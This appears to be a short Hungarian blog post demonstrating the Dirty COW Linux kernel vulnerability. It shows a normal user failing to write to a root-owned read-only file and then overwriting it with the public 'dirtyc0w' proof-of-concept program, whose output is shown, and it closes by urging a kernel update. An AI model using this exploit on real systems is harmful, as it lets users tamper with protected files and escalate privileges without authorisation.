dirty cow
A dirty cow sebeshetőséget tesztelhetjük egy speciális programmal.
A /tmp/teszt fájl rooté és senkinek sincsen rá írási joga, néhány ‘a’ betű van benne:
$ ls -l /tmp/teszt
-r-----r-- 1 root root 5 Oct 26 08:55 /tmp/teszt
$ cat /tmp/teszt
aaaa
Nem túl meglepő módon sima felhasználóként nem tudunk a fájlba írni
$ echo 'bbbb' >> /tmp/teszt
bash: /tmp/teszt: Permission denied
A dirty cow tesztprogram használatával viszont meglepő módon bele tudunk írni a fájlba:
$ ./dirtyc0w /tmp/teszt cccc
mmap 7f7b1ab10000
madvise 0
procselfmem 50000000
$ cat /tmp/teszt
cccc
A sebeshetőség 2007 óta van benne a Linux kernelben, így mindenkinek erősen javasolt a frissítés.